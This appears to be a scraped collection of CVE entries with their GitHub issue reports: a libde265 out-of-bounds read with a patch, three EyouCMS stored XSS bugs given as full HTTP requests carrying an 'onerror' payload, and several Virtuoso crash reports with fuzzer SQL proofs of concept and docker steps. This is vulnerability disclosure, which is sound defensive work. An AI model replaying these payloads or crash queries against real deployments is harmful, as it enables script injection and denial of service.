]: .............X..|X.X.X........... INFO: ref_pic_set[ 8 ]: ........X.......|................ INFO: ref_pic_set[ 9 ]: ............X...|...X............ INFO: ref_pic_set[ 10 ]: ..............X.|.X...X.......... INFO: long_term_ref_pics_present_flag : 0 INFO: sps_temporal_mvp_enabled_flag : 1 INFO: strong_intra_smoothing_enable_flag : 1 INFO: vui_parameters_present_flag : 1 INFO: sps_extension_present_flag : 0 INFO: sps_range_extension_flag : 0 INFO: sps_multilayer_extension_flag : 0 INFO: sps_extension_6bits : 0 INFO: CtbSizeY : 16 INFO: MinCbSizeY : 8 INFO: MaxCbSizeY : 16 INFO: MinTBSizeY : 4 INFO: MaxTBSizeY : 16 INFO: PicWidthInCtbsY : 26 INFO: PicHeightInCtbsY : 15 INFO: SubWidthC : 2 INFO: SubHeightC : 2 INFO: ----------------- VUI ----------------- INFO: sample aspect ratio : 0:0 INFO: overscan_info_present_flag : 0 INFO: overscan_appropriate_flag : 0 INFO: video_signal_type_present_flag: 0 INFO: chroma_loc_info_present_flag: 0 INFO: neutral_chroma_indication_flag: 0 INFO: field_seq_flag : 0 INFO: frame_field_info_present_flag : 0 INFO: default_display_window_flag : 1 INFO: def_disp_win_left_offset : 0 INFO: def_disp_win_right_offset : 0 INFO: def_disp_win_top_offset : 0 INFO: def_disp_win_bottom_offset : 0 INFO: vui_timing_info_present_flag : 0 INFO: vui_poc_proportional_to_timing_flag : 0 INFO: vui_num_ticks_poc_diff_one : 1 INFO: vui_hrd_parameters_present_flag : 0 INFO: bitstream_restriction_flag : 0 INFO: ----------------- PPS ----------------- INFO: pic_parameter_set_id : 0 INFO: seq_parameter_set_id : 0 INFO: dependent_slice_segments_enabled_flag : 1 INFO: sign_data_hiding_flag : 1 INFO: cabac_init_present_flag : 0 INFO: num_ref_idx_l0_default_active : -84 INFO: num_ref_idx_l1_default_active : 12 INFO: pic_init_qp : 25 INFO: constrained_intra_pred_flag: 0 INFO: transform_skip_enabled_flag: 1 INFO: cu_qp_delta_enabled_flag : 0 INFO: pic_cb_qp_offset : 1 INFO: pic_cr_qp_offset : 0 INFO: pps_slice_chroma_qp_offsets_present_flag : 0 INFO: weighted_pred_flag : 0 INFO: weighted_bipred_flag : 1 INFO: output_flag_present_flag : 0 INFO: transquant_bypass_enable_flag: 0 INFO: tiles_enabled_flag : 1 INFO: entropy_coding_sync_enabled_flag: 0 INFO: num_tile_columns : 18815 INFO: num_tile_rows : 1 INFO: uniform_spacing_flag: 1 INFO: tile column boundaries: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3985 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 [1] 4017733 segmentation fault ./dec265 -d poc ``` ## Analysis While executing `decoder_context::read_pps_NAL`, parameters are read in ```c++ bool success = new_pps->read(&reader,this); ``` Inside the function, there is a check when setting `num_tile_columns` in case it goes over `DE265_MAX_TILE_COLUMNS`, which is 10. ```c++ if (tiles_enabled_flag) { num_tile_columns = get_uvlc(br); if (num_tile_columns == UVLC_ERROR || num_tile_columns+1 > DE265_MAX_TILE_COLUMNS) { ctx->add_warning(DE265_WARNING_PPS_HEADER_INVALID, false); return false; } ``` After exiting due to reading more than `DE265_MAX_TILE_COLUMNS`, the headers are dumped by calling `dump`: ```c++ bool success = new_pps->read(&reader,this); if (param_pps_headers_fd>=0) { new_pps->dump(param_pps_headers_fd); } if (success) { pps[ (int)new_pps->pic_parameter_set_id ] = new_pps; } ``` In `dump`, the following code is executed to dump the tile column boundaries: ```c++ LOG0("tile column boundaries: "); for (int i=0;i<=num_tile_columns;i++) { LOG1("*%d ",colBd[i]); } LOG0("*\n"); ``` As previously shown, `num_tile_columns` while be set to a higher number than `DE265_MAX_TILE_COLUMNS`. `colBd` is defined as: `int colBd [ DE265_MAX_TILE_COLUMNS+1 ];` Therefore, that loop will go over `colBd` and will print all the data pointed by the values found after the limits of `colBd` in memory until the end of the loop or the next memory address is invalid. ## Impact * Information leak from memory * Crash If using a carefully crafted exploit, the impact could be an information leak without a crash. ## Patch In order to prevent this, the `success` value should be checked before printing the information: ```diff diff --git a/libde265/decctx.cc b/libde265/decctx.cc index 223a6aaf..1b79adec 100644 --- a/libde265/decctx.cc +++ b/libde265/decctx.cc @@ -583,11 +583,10 @@ de265_error decoder_context::read_pps_NAL(bitreader& reader) bool success = new_pps->read(&reader,this); - if (param_pps_headers_fd>=0) { - new_pps->dump(param_pps_headers_fd); - } - if (success) { + if (param_pps_headers_fd>=0) { + new_pps->dump(param_pps_headers_fd); + } pps[ (int)new_pps->pic_parameter_set_id ] = new_pps; } ``` Another possibility could be to perform length checks inside the `dump` function to handle the case: ```diff diff --git a/libde265/pps.cc b/libde265/pps.cc index de3bcda1..a5abd9b3 100644 --- a/libde265/pps.cc +++ b/libde265/pps.cc @@ -903,14 +903,22 @@ void pic_parameter_set::dump(int fd) const LOG1("uniform_spacing_flag: %d\n", uniform_spacing_flag); LOG0("tile column boundaries: "); - for (int i=0;i<=num_tile_columns;i++) { - LOG1("*%d ",colBd[i]); + if (num_tile_columns+1 > DE265_MAX_TILE_COLUMNS) { + LOG0("Number of tile columns is invalid"); + } else { + for (int i=0;i<=num_tile_columns;i++) { + LOG1("*%d ",colBd[i]); + } } LOG0("*\n"); LOG0("tile row boundaries: "); - for (int i=0;i<=num_tile_rows;i++) { - LOG1("*%d ",rowBd[i]); + if (num_tile_rows+1 > DE265_MAX_TILE_ROWS) { + LOG0("Number of tile rows is invalid"); + } else { + for (int i=0;i<=num_tile_rows;i++) { + LOG1("*%d ",rowBd[i]); + } } LOG0("*\n"); ``` ## Other notes The same issue occurs with `num_tile_rows`.

Buffer over-read causes segmentation fault in pic_parameter_set::dump

https://api.github.com/repos/strukturag/libde265/issues/418/comments

2023-08-30T14:08:02Z

2023-11-22T19:19:54Z

https://github.com/strukturag/libde265/issues/418

CVE-2023-48880

2023-11-29T16:15:07.167

A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Menu Name field at /login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn.

https://github.com/weng-xianhu/eyoucms/issues/52

github.com

**Version**: <=EyouCMS-V1.6.4-UTF8-SP1  **Description**: 1. Login to the back-end with an administrator account, click "Member Center", select "Function Configuration", then find "Frontend Style Settings", select "PC Left Menu", click "Manage" button, and modify the menu name.   ``` POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1 Host: 192.168.3.135 Content-Length: 94 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.3.135 Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Member&a=ajax_menu_index&lang=cn Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=users_index%7CMember Connection: close table=users_menu&id_name=id&id_value=11&field=title&value=<img src=1 onerror=alert(1)> ``` 3. Register an account in the front-end and log in, click on "Avatar" and select "Personal Center", then a pop-up window will appear. 

EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting

https://api.github.com/repos/weng-xianhu/eyoucms/issues/52/comments

2023-08-23T11:20:28Z

2024-03-22T06:45:21Z

https://github.com/weng-xianhu/eyoucms/issues/52

CVE-2023-48881

2023-11-29T16:15:07.217

A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Field Title field at /login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn.

https://github.com/weng-xianhu/eyoucms/issues/53

github.com

**Version**: <=EyouCMS-V1.6.4-UTF8-SP1  **Description**: 1. Log in to the backend with an administrator account, click on "Feature Map" and add "Column Fields".  2. Select "Column Fields", click "Add Field", set the value of "Field Title" to `<img src=1 onerror=alert(1)>`, and fill in the other fields arbitrarily.  ``` POST /EyouCMS/login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn HTTP/1.1 Host: 192.168.3.135 Content-Length: 131 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.3.135 Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Field&a=arctype_add&lang=cn Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-treeClicked-Arr=%5B%5D; workspaceParam=arctype_index%7CField Connection: close title=<img src=1 onerror=alert(1)>&name=aaaaaaaa&dtype=text&dfvalue=aaaaaa&remark=aaaaaaaaaa&typeids%5B%5D=8&channel_id=-99 ``` 3. Then select "Column Fields" and a pop-up window will appear. 

EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting

https://api.github.com/repos/weng-xianhu/eyoucms/issues/53/comments

2023-08-23T13:24:48Z

2024-03-22T06:39:31Z

https://github.com/weng-xianhu/eyoucms/issues/53

CVE-2023-48882

2023-11-29T16:15:07.270

A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Document Properties field at /login.php m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn.

https://github.com/weng-xianhu/eyoucms/issues/54

github.com

**Version**: <=EyouCMS-V1.6.4-UTF8-SP1  **Description**: 1. Log in to the backend with an administrator account, click on "Function Map" and add "Document Properties".  2. Select "Document Properties" and change the name of one of the properties to `<img src=1 onerror=alert(1)`.  ``` POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1 Host: 192.168.3.135 Content-Length: 100 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.3.135 Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=ArchivesFlag&a=index&lang=cn Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; admin-treeClicked-Arr=%5B%5D; ENV_IS_UPHTML=0; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=index%7CArchivesFlag Connection: close table=archives_flag&id_name=id&id_value=1&field=flag_name&value=<img src=1 onerror=alert(1)> ``` 3. Choose "Content Management", select an article at random, click "Edit" and a pop-up window will appear.  The principle is the same as https://github.com/weng-xianhu/eyoucms/issues/52.

EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting

https://api.github.com/repos/weng-xianhu/eyoucms/issues/54/comments

2023-08-23T14:31:08Z

2024-03-22T06:30:31Z

https://github.com/weng-xianhu/eyoucms/issues/54

CVE-2023-48945

2023-11-29T20:15:07.797

A stack overflow in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1172

github.com

The PoC is generated by my DBMS fuzzer. ```sql CREATE TABLE v0 ( v1 DECIMAL ) ; INSERT INTO v0 VALUES ( 0 ) ; INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 49 THEN v1 ELSE -128 END FROM v0 AS v2 , v0 , v0 AS v3 GROUP BY v1 , v1 ; UPDATE v0 SET v1 = ( SELECT DISTINCT * FROM v0 ) ; ``` Server Log: ``` 14:21:24 HTTP/WebDAV server online at 8890 14:21:24 Server online at 1111 (pid 1) *** stack smashing detected ***: terminated ``` Due to the stack smashing, I failed to retrieve the correct backtrace. ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed by stack smashing

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1172/comments

2023-11-14T14:41:15Z

2023-11-20T16:31:19Z

https://github.com/openlink/virtuoso-opensource/issues/1172

CVE-2023-48946

2023-11-29T20:15:07.850

An issue in the box_mpy function of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1178

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 INT ) ; INSERT INTO v0 VALUES ( 2147483647 ) ; INSERT INTO v0 VALUES ( -1 ) ; INSERT INTO v0 ( v1 , v1 , v1 ) SELECT 54 , v1 , -128 FROM v0 AS v4 , v0 , v0 AS v3 NATURAL JOIN v0 AS v2 ; UPDATE v0 SET v1 = NULL WHERE ( v1 * 2147483647 , CASE WHEN v1 = 'x' THEN 75 WHEN DENSE_RANK ( 'x' ) THEN 25942677.000000 END + 16 * 127 ) IN ( SELECT v1 FROM v0 WHERE v1 >= 127 AND ( v1 * 16 , v1 , ( SELECT v1 FROM v0 WHERE ( v1 , v1 ) IN ( SELECT v1 , v1 AS v8 FROM v0 AS v6 NATURAL JOIN v0 AS v7 NATURAL JOIN v0 AS v5 NATURAL JOIN v0 WHERE v1 ) ORDER BY v1 ) ) - 'x' GROUP BY 48002391.000000 ) ; ``` backtrace: ```c #0 0xc201b3 (box_mpy+0x83) #1 0x754c6e (code_vec_run_v+0x19be) #2 0x7b86bb (end_node_input+0x13b) #3 0x7af05e (qn_input+0x3ce) #4 0x7af78f (qn_ts_send_output+0x23f) #5 0x7b509e (table_source_input+0x16ee) #6 0x7af05e (qn_input+0x3ce) #7 0x44c979 (chash_fill_input+0x589) #8 0x5370af (hash_fill_node_input+0xef) #9 0x7af05e (qn_input+0x3ce) #10 0x7af4c6 (qn_send_output+0x236) #11 0x44c52e (chash_fill_input+0x13e) #12 0x5370af (hash_fill_node_input+0xef) #13 0x7af05e (qn_input+0x3ce) #14 0x7af4c6 (qn_send_output+0x236) #15 0x44c52e (chash_fill_input+0x13e) #16 0x5370af (hash_fill_node_input+0xef) #17 0x7af05e (qn_input+0x3ce) #18 0x7af4c6 (qn_send_output+0x236) #19 0x8214bd (set_ctr_vec_input+0x99d) #20 0x7af05e (qn_input+0x3ce) #21 0x7c1be9 (qr_dml_array_exec+0x839) #22 0x7ce602 (sf_sql_execute+0x15d2) #23 0x7cecde (sf_sql_execute_w+0x17e) #24 0x7d799d (sf_sql_execute_wrapper+0x3d) #25 0xe214bc (future_wrapper+0x3fc) #26 0xe28dbe (_thread_boot+0x11e) #27 0x7fa2b8a15609 (start_thread+0xd9) #28 0x7fa2b87e5133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed at box_mpy

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1178/comments

2023-11-14T15:16:38Z

2023-11-20T16:29:01Z

https://github.com/openlink/virtuoso-opensource/issues/1178

CVE-2023-48947

2023-11-29T20:15:07.897

An issue in the cha_cmp function of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1179

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 INT ) ; INSERT INTO v0 ( v1 , v1 , v1 ) VALUES ( 77 , -128 , -1 ) ; INSERT INTO v0 VALUES ( 4 ) ; SELECT CASE -128 / 56 WHEN v1 THEN 20 ELSE v1 + -2147483648 END , v1 FROM v0 UNION SELECT 19 , 0 * v1 FROM v0 GROUP BY v1 ; ``` backtrace: ```c #0 0x42c769 (cha_cmp+0x69) #1 0x4339cf (setp_chash_distinct_run+0x1dcf) #2 0x434478 (setp_chash_distinct+0x3b8) #3 0x63bdc3 (setp_node_run+0xe3) #4 0x63cc23 (setp_node_input+0x33) #5 0x7af05e (qn_input+0x3ce) #6 0x7af78f (qn_ts_send_output+0x23f) #7 0x437069 (chash_read_input+0x1029) #8 0x7af05e (qn_input+0x3ce) #9 0x7af4c6 (qn_send_output+0x236) #10 0x7af05e (qn_input+0x3ce) #11 0x63d1c3 (union_node_input+0x1d3) #12 0x7518c7 (qr_resume_pending_nodes+0x197) #13 0x751c9a (subq_next+0x1ba) #14 0x821acb (subq_node_vec_input+0x2eb) #15 0x7af05e (qn_input+0x3ce) #16 0x7af4c6 (qn_send_output+0x236) #17 0x8214bd (set_ctr_vec_input+0x99d) #18 0x7af05e (qn_input+0x3ce) #19 0x7c084b (qr_exec+0x11db) #20 0x7ce1d6 (sf_sql_execute+0x11a6) #21 0x7cecde (sf_sql_execute_w+0x17e) #22 0x7d799d (sf_sql_execute_wrapper+0x3d) #23 0xe214bc (future_wrapper+0x3fc) #24 0xe28dbe (_thread_boot+0x11e) #25 0x7f14fb425609 (start_thread+0xd9) #26 0x7f14fb1f5133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed at cha_cmp

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1179/comments

2023-11-14T15:17:36Z

2023-11-20T16:28:07Z

https://github.com/openlink/virtuoso-opensource/issues/1179

CVE-2023-48948

2023-11-29T20:15:07.940

An issue in the box_div function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1176

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 INTEGER NOT NULL PRIMARY KEY ) ; INSERT INTO v0 VALUES ( 95 ) ; INSERT INTO v0 VALUES ( ( SELECT ( -1 , -1 ) * ( 31 , 84 ) FROM v0 WHERE v1 BETWEEN 'x' AND 'x' OR EXISTS ( SELECT v1 FROM v0 WHERE v1 NOT IN ( SELECT 20 FROM v0 WHERE ( v1 > 2147483647 AND v1 < 271514.000000 ) ) ) ) ) ; INSERT INTO v0 SELECT v1 + v1 + v1 FROM v0 ORDER BY v1 ; INSERT INTO v0 VALUES ( ( SELECT ( 34 , 16 ) * ( 41 , -128 ) FROM v0 WHERE v1 BETWEEN 'x' AND 'x' OR EXISTS ( SELECT v1 FROM v0 WHERE v1 + v1 * 24 / 50820962.000000 - 0 / 86183090.000000 IN ( SELECT DISTINCT v1 FROM v0 WHERE 'x' OR ( ( ( v1 / 0 ) ) [ 35 ] ) * 16 BETWEEN 'x' AND 'x' GROUP BY v1 , v1 ) ) ) ) ; ``` backtrace: ```c #0 0xc210f3 (box_div+0x83) #1 0x754f4e (code_vec_run_v+0x1c9e) #2 0x7b86bb (end_node_input+0x13b) #3 0x7af05e (qn_input+0x3ce) #4 0x7af78f (qn_ts_send_output+0x23f) #5 0x7b509e (table_source_input+0x16ee) #6 0x7af05e (qn_input+0x3ce) #7 0x44c979 (chash_fill_input+0x589) #8 0x5370af (hash_fill_node_input+0xef) #9 0x7af05e (qn_input+0x3ce) #10 0x7af4c6 (qn_send_output+0x236) #11 0x8214bd (set_ctr_vec_input+0x99d) #12 0x7af05e (qn_input+0x3ce) #13 0x751d38 (subq_next+0x258) #14 0x8201a2 (ins_vec_subq+0x2a2) #15 0x753c6b (code_vec_run_v+0x9bb) #16 0x7b8737 (end_node_input+0x1b7) #17 0x7af05e (qn_input+0x3ce) #18 0x7c1be9 (qr_dml_array_exec+0x839) #19 0x7ce602 (sf_sql_execute+0x15d2) #20 0x7cecde (sf_sql_execute_w+0x17e) #21 0x7d799d (sf_sql_execute_wrapper+0x3d) #22 0xe214bc (future_wrapper+0x3fc) #23 0xe28dbe (_thread_boot+0x11e) #24 0x7ff8b497a609 (start_thread+0xd9) #25 0x7ff8b474a133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed at box_div

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1176/comments

2023-11-14T15:14:34Z

2023-11-20T16:26:22Z

https://github.com/openlink/virtuoso-opensource/issues/1176

CVE-2023-48949

2023-11-29T20:15:07.990

An issue in the box_add function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1173

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 FLOAT UNIQUE , v2 INT ) ; INSERT INTO v0 VALUES ( NULL , 57 ) ; INSERT INTO v0 VALUES ( -1 , ( SELECT 60 , v2 FROM v0 WHERE v2 = -1 ) ) ; UPDATE v0 SET v1 = ( CASE WHEN v2 * v1 THEN 76 ELSE ( SELECT v2 FROM v0 WHERE v1 = -2147483648 / CASE WHEN v2 = ( SELECT v1 FROM v0 WHERE ( CASE WHEN v2 = v2 AND v2 = v2 AND v2 THEN v2 + v1 * -128 + 48100742.000000 END ) IN ( SELECT v1 FROM v0 WHERE v2 BETWEEN 'x' AND 'x' OR ( CASE WHEN v2 = 16 THEN 46 ELSE v1 + ( 69175744.000000 , 10962973.000000 ) / 36 + 5 END ) GROUP BY 'x' ) ORDER BY v2 / 45 DESC ) THEN 32232158.000000 END ) END ) ; ``` backtrace: ```c #0 0xc1e333 (box_add+0x83) #1 0x75e0ba (code_vec_run_no_catch+0xe5a) #2 0x8966e5 (itc_vec_row_check+0x8e5) #3 0x617353 (itc_page_search+0xc13) #4 0x61345f (itc_search+0x84f) #5 0x896de4 (itc_vec_next+0x364) #6 0x7b2565 (ks_start_search+0xf75) #7 0x7b434e (table_source_input+0x99e) #8 0x7af05e (qn_input+0x3ce) #9 0x44c979 (chash_fill_input+0x589) #10 0x5370af (hash_fill_node_input+0xef) #11 0x7af05e (qn_input+0x3ce) #12 0x7af4c6 (qn_send_output+0x236) #13 0x8214bd (set_ctr_vec_input+0x99d) #14 0x7af05e (qn_input+0x3ce) #15 0x7c1be9 (qr_dml_array_exec+0x839) #16 0x7ce602 (sf_sql_execute+0x15d2) #17 0x7cecde (sf_sql_execute_w+0x17e) #18 0x7d799d (sf_sql_execute_wrapper+0x3d) #19 0xe214bc (future_wrapper+0x3fc) #20 0xe28dbe (_thread_boot+0x11e) #21 0x7f7e10239609 (start_thread+0xd9) #22 0x7f7e10009133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba 